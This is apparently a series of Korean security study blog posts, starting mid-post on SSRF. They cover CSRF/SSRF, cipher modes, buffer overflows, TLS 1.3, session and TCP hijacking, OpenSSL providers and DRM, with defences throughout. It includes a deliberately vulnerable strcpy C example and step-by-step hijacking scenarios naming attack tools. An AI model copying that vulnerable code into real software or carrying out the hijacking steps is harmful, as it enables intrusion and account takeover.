서버가 의도치 않은 IP로 요청하는 경우를 탐지할 수 있도록 로그와 모니터링 구축.

구분	내용
취약점	서버가 신뢰하지 않는 입력을 기반으로 외부/내부로 요청
위험	내부 네트워크, 메타데이터 서비스, 민감 서비스 접근
방어	화이트리스트, 내부 IP/포트 차단, 네트워크 제한, 로깅

CSRF vs SSRF 비교

구분	CSRF	SSRF
뜻	교차 사이트 요청 위조	서버 측 요청 위조
공격 대상	사용자의 브라우저 (사용자 권한)	서버 (서버 권한)
공격 방향	공격자가 사용자를 속여 사용자의 브라우저로 요청을 보내게 함	공격자가 서버가 내부/외부로 요청을 보내게 유도함
주요 목표	사용자의 인증 정보 (세션, 쿠키)로 사용자를 대신해 요청 수행	서버로 하여금 내부 자원 또는 외부 자원에 비인가 요청
전제 조건	피해자가 로그인된 상태 (세션 쿠키 보유)	서버가 외부/내부로 요청 가능한 기능 보유
공격 방식	악성 링크, 이미지, 폼 등을 피해자에게 클릭 유도 → 사용자의 인증으로 요청 전송	공격자가 서버의 요청 기능(예: URL 입력)을 조작해 내부 서비스로 요청 전송
주요 피해	계좌 이체, 게시글 작성, 비밀번호 변경 등 피해자 계정 오용	내부 서비스 정보 탈취, 메타데이터 접근, 사설망 포트 스캔
예시	사용자가 로그인된 상태에서 악성 사이트 방문 → 피해 사이트로 POST 요청 전송	서버에서 http://localhost/admin 같은 URL을 공격자가 입력해 내부로 요청

각각의 방어 기법

구분	방어기법
CSRF	- CSRF Token 사용 - SameSite 속성 쿠키 - Referer / Origin 헤더 검증 - 중요 요청은 재인증
SSRF	- URL 화이트리스트 - 내부 IP/포트 요청 차단 - 서버 아웃바운드 요청 제한 - DNS rebinding, open redirect 차단

블록암호 운영모드의 종류(ECB, CBC, CTR, CFB, OFB)

defcon — Mon, 5 May 2025 19:08:55 +0900

1. ECB (Electronic Codebook) 모드

방식: 각 블록을 독립적으로 암호화.
특징:
- 동일한 평문 블록 → 동일한 암호문 블록.
- 병렬 처리 가능.
단점: 패턴이 반복되면 암호문에도 반복 패턴이 생겨 보안상 위험.
용도: 거의 사용하지 않음 (보안 취약).

도식:

C_i = E(K, P_i)

2. CBC (Cipher Block Chaining) 모드

방식: 이전 암호문 블록과 현재 평문 블록을 XOR 후 암호화.
특징:
- 초기화 벡터(IV)가 필요.
- 동일한 평문 블록이라도 암호문은 달라짐.
- 병렬 복호화 가능, 암호화는 직렬 처리.
단점:
- 하나의 블록 오류 → 현재 블록과 다음 블록 오류 전파.

도식:

C_i = E(K, P_i ⊕ C_{i-1}),  C_0 = IV

3. CFB (Cipher Feedback) 모드

방식: 이전 암호문 블록을 암호화한 후, 평문과 XOR.
특징:
- 스트림 암호처럼 동작 가능.
- 부분 블록 처리 가능.
- 복호화 시 병렬 처리 어려움.
단점:
- CBC처럼 오류 전파 발생.

도식:

C_i = P_i ⊕ E(K, C_{i-1}),  C_0 = IV

4. OFB (Output Feedback) 모드

방식: 암호화기 출력만을 피드백하여 XOR.
특징:
- 오류 전파 없음 (한 비트 오류 → 해당 비트만 손상).
- 미리 키 스트림 생성 가능.
- IV 필수.
단점:
- IV 재사용 시 보안 치명적.

도식:

O_i = E(K, O_{i-1}),  C_i = P_i ⊕ O_i,  O_0 = IV

5. CTR (Counter) 모드

방식: 증가하는 카운터 값을 암호화 후, 평문과 XOR.
특징:
- 완전 병렬 처리 가능 (암호화/복호화 모두).
- 미리 키 스트림 생성 가능.
- IV 또는 nonce 필요.
단점:
- 카운터 값 충돌 → 보안 붕괴.

도식:

C_i = P_i ⊕ E(K, Nonce || Counter_i)

비교 요약

모드병렬 암호화병렬 복호화오류 전파패턴 감춤

운영모드	병렬 암호화	병렬 복호화	오류 전파	패턴 감춤
ECB	O	O	X	X
CBC	X	O	O	O
CFB	X	X	O	O
OFB	X	X	X	O
CTR	O	O	X	O

오류전파 : 암호문에서 한비트가 손상되었을 대 복호화된 평문에서 얼마나 많은 부분이 잘못되느냐를 의미
패턴감춤 : 평문에 반복되는 패턴(ex. 'AAAA', 'BBBB')이 암호문에서 그대로 드러나는지를 의미

선택 포인트

안전성 중요 → ECB는 피하기.
병렬 성능 필요 → CTR 모드.
스트림 암호화 필요 → OFB, CFB.
파일 암호화 → CBC, CTR.

Buffer Overflow의 개념과 예방방법

defcon — Mon, 5 May 2025 12:09:05 +0900

Buffer Overflow란 무엇인가?

Buffer Overflow(버퍼 오버플로우)는 메모리에서 고정된 크기의 버퍼(임시 데이터 저장 공간)에 예상보다 많은 데이터를 써서 인접한 메모리 영역을 덮어쓰는 취약점입니다.

조금 더 구체적으로:

프로그램에서 문자열, 배열, 입력 데이터를 처리할 때, 미리 지정된 메모리 공간(예: char buf[16])이 있는데 여기에 버퍼 크기보다 큰 데이터를 넣으면 버퍼를 넘어선 메모리 공간까지 덮어써 버립니다.
이때 덮어쓰는 메모리에는 프로그램의 제어 흐름을 관리하는 정보(예: 반환 주소, 함수 포인터, 변수 등)가 있을 수 있어, 공격자가 이걸 조작하면 임의의 코드 실행, 시스템 권한 상승, 서비스 거부(Denial of Service, DoS) 같은 보안 사고로 이어질 수 있습니다.

예시 (C 코드)

#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buffer[16];
    strcpy(buffer, input);
    printf("You entered: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    vulnerable(argv[1]);
    return 0;
}

이 프로그램은 argv[1]로 길이가 16자를 초과하는 문자열을 넣으면 buffer 뒤의 메모리 영역까지 덮어쓰게 됩니다. 만약 공격자가 여기에 특수 제작한 페이로드를 넣으면 프로그램의 흐름을 공격자가 원하는 방향으로 바꿀 수 있습니다.

Buffer Overflow의 위험

코드 실행: 공격자가 셸코드(shellcode)를 심어 시스템에서 임의 명령 실행
서비스 다운: 프로그램이 크래시하거나 멈춤
권한 상승: 일반 사용자 권한에서 root 권한 탈취
정보 유출: 메모리에서 비밀 데이터(비밀번호, 토큰 등) 노출

Buffer Overflow 예방 방법

1. 안전한 함수 사용

C의 strcpy, sprintf, gets 같은 길이 제한 없는 함수 대신:
- strncpy, snprintf, fgets처럼 길이를 제한할 수 있는 함수 사용

2. 경계 검사(bound checking)

배열, 버퍼에 접근할 때 항상 길이 검사를 하고, 입력값 검증을 철저히 할 것

3. 스택가드(StackGuard)

함수가 호출될 때, 스택 프레임의 반환 주소 앞에 ‘카나리(canary)’ 값이라는 특별한 값을 삽입합니다.
함수가 리턴할 때, 이 카나리 값을 검사해서 값이 변조되었는지 확인합니다.
- 변조되었다면 → 버퍼 오버플로우 발생 → 프로그램 강제 종료 (공격 차단)
- 변조되지 않았다면 → 정상 리턴

즉, 공격자가 스택을 넘쳐쓰기 위해 반환 주소를 덮으려고 하면, 카나리 값도 함께 덮어써야 하므로 탐지될 가능성이 매우 높습니다.

소스 코드 수정 없이 컴파일 옵션(-fstack-protector)만으로 적용 가능
주요 보호 대상: 반환 주소
함수 포인터, longjmp buffer, 구조체 내부 포인터 등 다른 메모리 공격은 방어하지 못함

StackGuard 종류

일반 StackGuard: 고정된 카나리 값 사용
Random Canary: 실행 시마다 랜덤 값 사용
Terminator Canary: 널 문자나 개행 문자 같은 문자열 종료용 값 포함 (strcpy 같은 함수 공격 차단)
Random XOR Canary: 랜덤 값과 반환 주소 XOR 처리

4. StackShield

StackShield는 StackGuard보다 더 넓은 범위를 보호하도록 설계된 보안 기법입니다.
이 방식은 스택의 반환 주소를 별도로 복사하여 보관하고, 함수 리턴 시 원래의 복사본을 사용하여 반환하는 방식으로 동작합니다.

동작 원리

함수 진입 시, 반환 주소를 스택 밖의 안전한 메모리 영역(예: 글로벌 변수 공간)에 복사합니다.
함수가 리턴할 때, 스택의 반환 주소가 아닌 복사해 둔 안전한 반환 주소를 사용합니다.
따라서 공격자가 스택의 반환 주소를 덮어써도, 실제로 리턴에 쓰이는 주소는 안전하므로 공격이 실패합니다.

특징

반환 주소를 스택에서 완전히 분리하므로 오버플로우 공격이 거의 불가능
스택 이외의 다른 코드 포인터나 함수 포인터는 여전히 보호하지 못함
성능 오버헤드가 더 크고, 적용이 제한적이며 유지보수가 어려운 경우도 있음

4. 주소 공간 배치 난수화(Address Space Layout Randomization, ASLR)

운영체제에서 메모리 주소를 랜덤화하여 공격자가 정확한 메모리 주소를 예측하지 못하게 함

5. 실행 방지 영역(Non-Executable Stack, NX bit)

스택 메모리 영역을 실행 불가능하게 설정해, 스택에 심은 셸코드가 실행되지 못하게 함

6. 컴파일러 보안 옵션 활용

최신 컴파일러 옵션:
- -D_FORTIFY_SOURCE=2 (glibc 기반)
- RELRO (Relocation Read-Only)
- PIE (Position Independent Executable)

TLS 1.3 Handshake 동작 과정

defcon — Sun, 4 May 2025 19:44:28 +0900

TLS 1.3 Handshake 전체 개요

TLS 1.3 Handshake는 클라이언트와 서버가 암호화 통신을 설정하기 위해 서로 협상하고, 인증하고, 비밀 키를 공유하는 과정입니다. 크게 보면 다음과 같은 단계로 구성됩니다:

1. ClientHello
2. ServerHello
3. (선택) 서버 인증 및 키 교환
4. Finished 및 암호화된 데이터 전송 시작

1단계: ClientHello

클라이언트가 서버에 연결을 시도하며 최초로 보내는 메시지입니다.

포함 내용:
- 지원하는 프로토콜 버전: supported_versions 확장을 통해 "TLS 1.3" 지원을 명시.
- 지원하는 암호 스위트: 예: TLS_AES_128_GCM_SHA256, TLS_CHACHA20_POLY1305_SHA256 등.
- 키 공유 정보: 클라이언트의 ephemeral (임시) public key (예: ECDHE, X25519 사용).
- 랜덤 값: client_random라 불리는 32바이트 난수.
- 확장 필드:
  - SNI (Server Name Indication): 어떤 도메인으로 접속하는지 알려줌.
  - ALPN (Application-Layer Protocol Negotiation): HTTP/2, HTTP/3 같은 상위 프로토콜 협상.
  - Supported Groups, Signature Algorithms 등.

⏩ 핵심 변화: TLS 1.3에서는 클라이언트가 첫 메시지에서 키 교환을 위해 필요한 정보를 미리 다 포함시켜 전송합니다.

2단계: ServerHello

서버가 클라이언트의 요청에 응답합니다.

포함 내용:
- 선택된 프로토콜 버전: 예: TLS 1.3.
- 선택된 암호 스위트: 클라이언트가 제안한 것 중 하나 선택.
- 키 공유 정보: 서버의 ephemeral public key.
- 랜덤 값: server_random (32바이트).

⏩ 핵심 변화: TLS 1.2와 달리, TLS 1.3에서는 이 시점에서 암호 스위트, 키 공유 방식이 결정되고 handshake 메시지들이 암호화되기 시작합니다.

3단계: (선택) 서버 인증 및 키 교환

서버 인증 (필요한 경우):
- Certificate: 서버의 인증서 (일반적으로 X.509).
- CertificateVerify: 서버가 자신의 private key로 서명해 인증서의 진위를 증명.
키 교환:
- 클라이언트와 서버는 서로의 ephemeral public key로 shared secret (pre-master secret)을 계산.
- 이 secret을 기반으로 handshake 및 application traffic용 암호화 키가 생성됨.

⏩ 핵심 변화:

TLS 1.3에서는 static RSA key exchange가 제거되고, 반드시 forward secrecy가 보장되는 ephemeral (임시) 키만 사용.
ServerKeyExchange 메시지가 없고, Certificate와 CertificateVerify로 통합됨.

4단계: Finished 및 암호화된 데이터 전송 시작

클라이언트 Finished:
- 클라이언트는 자신의 Finished 메시지를 보냄 (HMAC 기반의 검증 데이터 포함).
- 이 메시지는 handshake traffic secret으로 암호화됨.
서버 Finished:
- 서버는 자신의 Finished 메시지를 보냄.
Application Data 전송:
- 이 시점부터 양쪽 모두 application traffic secret을 사용해 데이터 암호화.
- TLS record layer를 통해 실제 HTTP 요청/응답 같은 데이터가 전송됨.

⏩ 핵심 변화:

TLS 1.3에서는 handshake가 끝나기 전에 application data를 전송할 수 있는 0-RTT 모드가 존재 (선택적, 세션 재사용 시에만).

핸드셰이크 단계의 큰 차이점 요약

구분	TLS 1.2	TLS 1.3
Round Trip 수	최소 2 RTT	1 RTT (0-RTT 모드 지원)
키 교환 방식	RSA, ECDHE, DHE, PSK 등 다양	ECDHE, DHE, PSK (forward secrecy 필수)
서버 인증 방식	인증서 + (optional) ServerKeyExchange	인증서 + CertificateVerify (simple)
암호화 범위	Finished 이후에만 암호화	ServerHello 이후부터 handshake 암호화
메시지 구조	여러 개의 개별 메시지 (복잡)	단순화된 메시지 구조, 불필요한 단계 제거
0-RTT 지원	불가능	가능 (재연결 시 빠른 전송)
암호 스위트 설계	RSA, RC4, SHA1 등 legacy 포함	최신 알고리즘만 포함, legacy 제거

핸드셰이크 단계별 비교

1. ClientHello

TLS 1.2:
- 클라이언트가 지원하는 프로토콜, 암호 스위트, 압축 방식, random 값 전송.
- (옵션) 세션 재개용 session ID 포함.
TLS 1.3:
- 지원하는 프로토콜에 TLS 1.3 명시.
- 암호 스위트에서 TLS 1.3 전용 스위트만 보냄.
- 클라이언트 ephemeral key (예: X25519, ECDHE) 포함 (핸드셰이크 속도 향상).
- 0-RTT 재연결 시 early data 전송.

2. ServerHello

TLS 1.2:
- 선택한 프로토콜, 암호 스위트, random 값 전송.
- 세션 재개용 session ID.
- ServerKeyExchange (ECDHE 키 제공), Certificate 메시지 등 추가 메시지 필요.
TLS 1.3:
- 선택된 암호 스위트, ephemeral key 전송.
- 이후부터 handshake 메시지 암호화.
- ServerKeyExchange가 따로 존재하지 않고 Certificate 메시지와 함께 처리됨.

3. 키 교환 및 인증

TLS 1.2:
- RSA key exchange: 서버 public key로 pre-master secret 암호화.
- 또는 ECDHE/DHE: 서버의 ephemeral key 제공 + ServerKeyExchange.
- 서버 인증: Certificate + ServerKeyExchange + CertificateRequest + ServerHelloDone.
TLS 1.3:
- ECDHE/DHE (forward secrecy 필수).
- 서버 인증: Certificate + CertificateVerify (private key로 서명).
- ServerHello 이후 모두 암호화된 채로 전송.

4. Finished 메시지

TLS 1.2:
- 서버와 클라이언트가 각자 Finished 메시지를 전송해 integrity 확인.
- 이후 application data 암호화 시작.
TLS 1.3:
- Finished 메시지는 ServerHello 이후로 암호화됨.
- 키 유도 과정이 단순화 (HKDF 사용).
- Finished 후 바로 application data 암호화.

5. 성능 및 보안 개선

항목	TLS 1.2	TLS 1.3
성능	2 RTT 이상	1 RTT (0-RTT 재연결 시 거의 0 RTT)
암호 강제 조건	RC4, SHA1 등 legacy 지원	최신 강력한 암호화 및 forward secrecy 강제
공격 대응	취약점 많음 (BEAST, CRIME, FREAK 등)	보안성 강화 (취약 알고리즘 제거, simpler design)

세션 하이재킹(Session Hijacking) 개념

defcon — Sun, 4 May 2025 10:12:30 +0900

애플리케이션 세션 하이재킹이란?

세션 하이재킹은 사용자가 웹 애플리케이션 또는 서비스에 로그인한 뒤 서버로부터 부여받은 세션 식별자(session ID) 를 공격자가 탈취하거나 가로채서, 해당 사용자의 권한으로 서버에 접근하거나 행동하는 공격입니다.
쉽게 말해, 사용자 행세를 하는 겁니다.

웹 애플리케이션은 로그인 이후 사용자 인증을 계속 유지하기 위해 쿠키나 URL 파라미터, 헤더 등에 세션 ID를 사용합니다. 이 세션 ID만 확보하면 공격자는 비밀번호나 ID 없이도 피해자 계정으로 접속할 수 있습니다.

세션 하이재킹 주요 공격 기법

1. 세션 스니핑(Session Sniffing)
네트워크 상에서 패킷을 도청하여 세션 ID를 가로채는 방법입니다.

공격자가 같은 네트워크(예: 공용 Wi-Fi)에 있을 때 유용
HTTP 트래픽은 암호화되지 않아 세션 쿠키나 헤더가 평문으로 노출됨
이를 막기 위해 HTTPS가 필수

2. 세션 예측(Session Prediction)
세션 ID 생성 규칙이 약하거나 예측 가능한 경우, 공격자가 가능한 세션 ID를 추측하여 접속하는 방식입니다.

예: 순차적인 숫자나 짧은 랜덤 값
보안성이 약한 PRNG(난수 생성기) 사용 시 쉽게 예측 가능

3. Cross-site Scripting (XSS) 활용
웹사이트에 XSS 취약점이 있으면, 공격자가 악성 스크립트를 삽입해 피해자의 브라우저에서 세션 쿠키를 훔쳐 서버로 전송시킬 수 있습니다.

document.cookie로 쿠키 값 접근 후 공격자 서버로 전송
HttpOnly 속성을 쿠키에 설정하면 자바스크립트로 접근을 차단 가능

4. 세션 고정(Session Fixation)
공격자가 미리 고정된 세션 ID를 피해자에게 심어주고, 피해자가 로그인하면 해당 세션 ID로 공격자가 접속하는 방식입니다.

예: 피싱 링크에 세션 ID를 포함시켜 전달
서버가 로그인 후 세션 ID를 재발급하지 않으면 공격이 성공

5. Man-in-the-Middle (MITM)
공격자가 네트워크 중간에 위치해 트래픽을 중간에서 가로채거나 변조하는 공격입니다.

세션 하이재킹뿐 아니라 패스워드, 개인정보 탈취도 가능
SSL/TLS 사용 및 인증서 검증으로 방어 가능

공격 시나리오 예시

1 사용자가 카페에서 공용 Wi-Fi로 웹사이트에 로그인
2 공격자가 같은 Wi-Fi에 접속해 패킷 스니핑(예: Wireshark) 진행
3 HTTP 트래픽에서 세션 쿠키 값 발견
4 공격자가 자신의 브라우저에서 해당 쿠키를 강제로 세팅하고 사이트 접속
5 피해자 계정으로 로그인된 상태에서 민감 정보 접근, 행동 가능

방어 방법

모든 트래픽에 HTTPS 사용
세션 쿠키에 HttpOnly, Secure 속성 설정
세션 ID를 충분히 길고 예측 불가능하게 생성
로그인 시마다 세션 ID 재발급 (세션 고정 방지)
사용자 활동 감지 및 의심스러운 요청 차단 (예: IP/브라우저 Fingerprint 변경 시 로그아웃)
XSS 방어 (입력값 검증, Content Security Policy 설정)

TCP 세션 하이재킹이란?

TCP는 통신 세션을 유지하기 위해 시퀀스 번호(Sequence Number)와 확인 번호(Acknowledgment Number) 를 사용합니다.
공격자는 이 시퀀스 번호 체계를 조작하여 클라이언트와 서버 간 세션에 끼어들거나 기존 세션을 탈취할 수 있습니다.

즉, 서버와 클라이언트가 이미 연결된 상태에서 공격자가 다음과 같은 과정을 거쳐 세션을 가로채는 방식입니다.

공격 원리

1. 세션 식별
공격자는 타겟 클라이언트와 서버 간의 TCP 연결 상태, IP, 포트, 현재 시퀀스 번호를 파악해야 합니다.
이것을 위해 스니핑(패킷 캡처) 또는 예측(시퀀스 넘버 예측)이 필요합니다.

2. 세션 방해
공격자는 클라이언트 또는 서버에게 TCP RST (Reset) 패킷을 보내 현재 세션을 강제로 종료시킵니다.
예:

클라이언트에게 RST → 클라이언트는 연결이 끊긴 줄 알고 통신 중단
서버에게 RST → 서버는 해당 클라이언트 연결을 끊음

3. 세션 재구성
공격자는 클라이언트 대신 서버로, 서버 대신 클라이언트로 위장된 패킷을 보냅니다.

올바른 IP/포트 조합 사용
정확한 시퀀스 번호로 패킷 전송

만약 시퀀스 번호가 정확히 맞아떨어지면, 서버는 공격자를 클라이언트로 인식하고 통신을 이어갑니다.

인증 우회

TCP 레벨 세션은 일반적으로 애플리케이션 인증 (예: ID/PW, 세션 토큰)과 별개로 동작합니다.
따라서 TCP 세션만 탈취해도 이미 인증된 애플리케이션 레이어의 세션을 가로채거나 추가 인증 없이 패킷을 주고받을 수 있게 됩니다.

예:

Telnet, FTP, POP3 같은 평문 프로토콜에서 로그인 후 TCP 세션을 하이재킹하면 ID/PW 없이 명령어 주입 가능

공격 시나리오 예시

1. 공격 준비

같은 네트워크에 위치하거나 중간자 위치 확보 (예: MITM)
Wireshark, tcpdump 등으로 트래픽 모니터링
클라이언트와 서버 간 세션 정보 (IP, 포트, 시퀀스 번호) 파악

2. RST 패킷 전송

클라이언트에게 서버로부터 온 것처럼 RST 패킷을 보냄 → 클라이언트 연결 종료
서버에게 클라이언트로부터 온 것처럼 RST 패킷을 보냄 → 서버 연결 종료

3. 세션 재구성

공격자는 클라이언트의 IP와 포트, 시퀀스 번호를 그대로 복제
서버로부터의 응답을 받아 세션을 이어감 (패킷 인젝션 가능)

조건 및 난이도

조건	설명
IP 스푸핑 가능	공격자가 클라이언트 IP로 패킷 전송 가능해야 함
시퀀스 번호 예측 또는 캡처	최신 시스템은 랜덤 시퀀스 번호 사용, 예측 어려움
응답 패킷 수신	IP 스푸핑만으로는 서버 응답을 받지 못하는 경우가 많음 (반송 패킷은 클라이언트로 감)

즉, 스니핑 가능성(MITM 위치) 이 있으면 쉬워지고, 원격에서 스푸핑만으로는 어려운 공격입니다.

방어 방법

최신 TCP/IP 스택은 랜덤 시퀀스 넘버를 사용 (RFC 6528)
서버와 클라이언트 간 암호화 (SSH, TLS)
세션 무결성 검증 (애플리케이션 레벨에서)
IP 필터링, 방화벽 설정
짧은 세션 타임아웃, 세션 재검증

실제 실습 도구

hping: TCP 패킷 조작 및 RST 패킷 전송
ettercap / Cain & Abel: ARP 스푸핑 및 MITM + 세션 하이재킹
Wireshark: 시퀀스 번호 및 세션 모니터링

OpenSSL Provider에 대한 개념

defcon — Sat, 3 May 2025 20:09:31 +0900

OpenSSL Provider란?

기존 OpenSSL 1.1.x까지는 암호 알고리즘이 libcrypto 안에 하드코딩되어 있었습니다.
하지만 OpenSSL 3.0부터는 이런 암호 알고리즘 구현을 플러그인(Provider) 형태로 분리했습니다.

즉, Provider는 OpenSSL에서 사용할 수 있는 암호 알고리즘, 키 관리, 서명, 해시 등 암호 서비스들의 집합입니다.
OpenSSL 라이브러리 본체는 이 Provider들로부터 필요한 기능을 가져와서 실행합니다.

왜 Provider를 도입했나?

유연성
새로운 알고리즘이나 하드웨어 가속 기능을 추가할 때 OpenSSL을 직접 수정하거나 재컴파일할 필요 없이, 별도 Provider만 추가하면 됩니다.
정책 분리
예: FIPS 인증된 알고리즘만 사용해야 할 경우, FIPS Provider만 로드하면 됩니다. 반대로 개발용에선 Default Provider를 쓰면 됩니다.
사용자 정의
개발자가 직접 자신만의 Provider를 작성해 OpenSSL에 플러그인처럼 붙일 수 있습니다.

OpenSSL 기본 제공 Provider 종류

OpenSSL 3.0 설치 시 기본으로 제공되는 Provider들은 다음과 같습니다:

Provider 이름	설명
default	대부분의 표준 알고리즘 (RSA, AES, SHA 등) 포함
fips	FIPS 140-2 인증용 알고리즘 제공 (엄격한 보안 요구사항에 맞춤)
legacy	오래되었거나 약한 보안의 알고리즘 제공 (MD5, RC4 등)
null	어떤 암호 기능도 제공하지 않는 빈 Provider (주로 테스트용)

Provider의 동작 방식

OpenSSL은 실행 시 또는 설정 파일 (openssl.cnf)에서 로드할 Provider를 지정합니다.

특정 알고리즘 요청 → OpenSSL은 등록된 Provider 목록을 탐색 → 해당 알고리즘을 제공하는 Provider에서 구현을 가져옴
따라서 어떤 Provider를 로드하느냐에 따라 OpenSSL의 기능과 보안 수준이 달라질 수 있습니다.

간단한 예: Provider 사용

# FIPS Provider 로드 예제
export OPENSSL_MODULES=/usr/local/lib/ossl-modules
openssl list -providers

# 특정 Provider를 명시적으로 로드하는 코드 예제 (C)
OSSL_PROVIDER *provider = OSSL_PROVIDER_load(ctx, "fips");
if (provider == NULL) {
    fprintf(stderr, "FIPS provider load failed\n");
}

외부 Provider 예시

1. OpenSSL FIPS Provider (OpenSSL 공식)

OpenSSL 팀이 직접 제공하는 FIPS 140-2 인증용 Provider
기존에는 별도 FIPS 모듈로 제공되었지만, 3.x부터는 Provider 형태로 통합됨.

2. Open Quantum Safe (OQS) Provider

양자내성암호(Post-Quantum Cryptography) 알고리즘을 OpenSSL에서 쓸 수 있게 해주는 Provider
https://openquantumsafe.org
Dilithium, Kyber 등 NIST PQC 최종 후보 알고리즘을 OpenSSL에서 바로 실험할 수 있도록 지원.

3. SoftHSM + PKCS#11 Provider

하드웨어 보안 모듈(HSM)이나 소프트웨어 HSM에서 제공하는 PKCS#11 인터페이스와 연결되는 Provider
예: OpenSC 프로젝트, SoftHSM 등과 연동해 키 관리.

4. Intel QAT (QuickAssist) Provider

Intel QAT 하드웨어 가속 기능을 OpenSSL에서 사용하도록 만든 Provider
AES, RSA, ECDSA 등 연산을 QAT 장치로 오프로드.

5. NVIDIA GPU Provider (실험적)

NVIDIA GPU를 이용해 OpenSSL 암호 연산을 가속하는 Provider (주로 연구용, 아직 널리 사용되지는 않음).

커스텀 Provider 구현 방법

커스텀 Provider의 기본 구성

커스텀 Provider를 만들려면 크게 다음 요소가 필요합니다:

1. Provider 엔트리 포인트
→ OpenSSL이 이 모듈을 로드할 때 호출할 OSSL_provider_init() 함수를 구현해야 합니다.

int OSSL_provider_init(const OSSL_CORE_HANDLE *handle,
                       const OSSL_DISPATCH *in,
                       const OSSL_DISPATCH **out,
                       void **provctx);

이 함수는:

OpenSSL 코어 핸들 handle과
Provider가 코어에 제공할 함수 목록 out을 세팅하고
Provider 내부 상태를 담은 컨텍스트 provctx를 초기화합니다.

2. DISPATCH 테이블
→ Provider가 제공하는 기능들을 OSSL_DISPATCH 배열로 선언합니다.

예:

static const OSSL_DISPATCH my_provider_dispatch_table[] = {
    { OSSL_FUNC_PROVIDER_GETTABLE_PARAMS, (void (*)(void)) my_gettable_params },
    { OSSL_FUNC_PROVIDER_GET_PARAMS, (void (*)(void)) my_get_params },
    { OSSL_FUNC_PROVIDER_QUERY_OPERATION, (void (*)(void)) my_query_operation },
    { OSSL_FUNC_PROVIDER_TEARDOWN, (void (*)(void)) my_teardown },
    { 0, NULL }
};

3. 알고리즘 등록
Provider는 my_query_operation() 같은 함수에서 OpenSSL에게
“나는 이 연산(digest, cipher, signature, …)에 대해 이런 알고리즘들을 제공해”라고 알려줍니다.

예:

static const OSSL_ALGORITHM my_digests[] = {
    { "MYHASH", "provider=myprovider", myhash_functions },
    { NULL, NULL, NULL }
};

각 항목은:

알고리즘 이름 (예: MYHASH)
프로퍼티 스트링 (예: provider=myprovider)
함수 테이블 (예: myhash_functions)
로 구성됩니다.

4. 알고리즘 함수 구현
예를 들어 digest를 제공한다면:

newctx, freectx, init, update, final, get_params 같은 함수들을 정의해 OSSL_DISPATCH 테이블로 묶습니다.

static const OSSL_DISPATCH myhash_functions[] = {
    { OSSL_FUNC_DIGEST_NEWCTX, (void (*)(void)) myhash_newctx },
    { OSSL_FUNC_DIGEST_UPDATE, (void (*)(void)) myhash_update },
    { OSSL_FUNC_DIGEST_FINAL, (void (*)(void)) myhash_final },
    { OSSL_FUNC_DIGEST_FREECTX, (void (*)(void)) myhash_freectx },
    { 0, NULL }
};

개발 흐름 요약

1️⃣ .c 파일로 Provider 코드 작성
2️⃣ OSSL_provider_init()과 필요한 DISPATCH, ALGORITHM 테이블 정의
3️⃣ gcc -shared -fPIC -o myprovider.so myprovider.c -lcrypto로 공유 라이브러리 빌드
4️⃣ OpenSSL에서 환경 변수 또는 openssl.cnf로 모듈 경로 등록
5️⃣ OSSL_PROVIDER_load() 또는 openssl list -digest-algorithms 같은 명령으로 테스트

예제 구조

myprovider/
├── Makefile
├── myprovider.c      ← 메인 구현
├── myhash.c          ← 예: custom digest 알고리즘 구현
├── myprovider.so     ← 빌드 후 생성되는 동적 라이브러리

주의할 점

OpenSSL 내부 API는 잘 문서화되어 있지 않으므로, 기본 제공 Provider 소스 (예: default, legacy)를 참고하는 게 중요합니다.
OpenSSL 버전 간 호환성 문제에 주의해야 합니다 (예: 구조체 변경, DISPATCH 상수 추가 등).
Provider는 OpenSSL Core ↔ Module 형태로 통신하므로, 반드시 명세된 API 범위 내에서만 동작해야 합니다.

DRM(Digital Rights Management 디지털저작권 관리)의 개념

defcon — Sat, 3 May 2025 13:53:29 +0900

DRM의 주요 목적

불법 복제 및 배포 방지
콘텐츠의 사용 범위를 제한 (예: 특정 기기에서만 재생 가능)
사용자에게 라이선스 기반의 접근 제공 (예: 구독 기간 동안만 사용 가능)
저작권자의 수익 보호

어디에 사용되나?

음악: Spotify, Apple Music, 멜론 같은 스트리밍 서비스
영화/영상: Netflix, Disney+, YouTube Premium
전자책: Kindle, 리디북스
소프트웨어/게임: MS Office, Adobe Creative Cloud, Steam, Xbox
문서/자료: 기업용 문서 관리, 보안 문서 배포

작동 방식

1️⃣ 콘텐츠 암호화

콘텐츠를 특정 알고리즘으로 암호화하여 원본 파일 자체를 보호합니다.

2️⃣ 라이선스 관리

사용자가 해당 콘텐츠에 접근하려면 라이선스 키나 인증이 필요합니다. 예: 유료 구독, 일회성 구매, 대여 등.

3️⃣ 사용 조건 설정

사용자의 행위를 제어합니다.

복사/붙여넣기 제한
출력 제한
특정 기기/계정에서만 재생
오프라인 사용 기간 제한

4️⃣ 인증 및 모니터링

서버에서 정기적으로 라이선스를 확인하거나, 위반 시 접근을 차단합니다.

DRM의 장단점

장점

저작권 보호: 창작자와 기업의 수익을 보호
시장 질서 유지: 불법 다운로드와 복제로 인한 피해 최소화
수익 모델 다양화: 대여, 구독, 구매 등 다양한 서비스 제공 가능

단점

사용자 불편: 합법적으로 구매한 사람도 DRM 때문에 불편함 (예: 다른 기기에서 못 씀)
기술적 문제: DRM 해제(크랙) 시 보안 무력화
장기 보존 문제: DRM 서버가 중단되면 정품 사용자가 콘텐츠 접근 불가
비판: 일부에서는 DRM이 소비자 권리를 침해한다고 비판

DRM에서 실제로 사용되는 구체적인 기술

암호화 (Encryption)

DRM의 기본 뼈대는 콘텐츠 암호화입니다.
콘텐츠(예: 영화 파일, 음악 파일)를 대칭키 암호화(AES, DES 등)로 암호화합니다.
- 대칭키 방식은 암호화와 복호화에 같은 키를 사용합니다.
사용자가 콘텐츠를 재생할 때, DRM 시스템이 해당 키를 제공해 복호화하도록 합니다.
이 키는 보통 서버에서 라이선스 체크를 통과한 사용자에게만 전송됩니다.

라이선스 관리 및 인증 (License Management & Authentication)

DRM 시스템은 라이선스 서버를 통해 사용자의 권한을 관리합니다.
사용자가 콘텐츠를 실행하면:
1. 기기 또는 계정 정보가 DRM 서버로 전송됨.
2. 유효한 구매/구독 정보가 있는지 확인.
3. 조건에 맞으면 복호화 키 제공.
이때 기기 인증, 사용자 계정 인증, 하드웨어 바인딩 등이 적용됩니다.

워터마킹 (Watermarking)

워터마킹은 콘텐츠 자체에 눈에 보이거나 안 보이는 식별 정보를 삽입하는 기술입니다.
예: 영상에 특정 구매자의 ID, 구매 일시, 시리얼 넘버를 암호화된 형태로 삽입.
이 정보로 유출 경로 추적 가능.
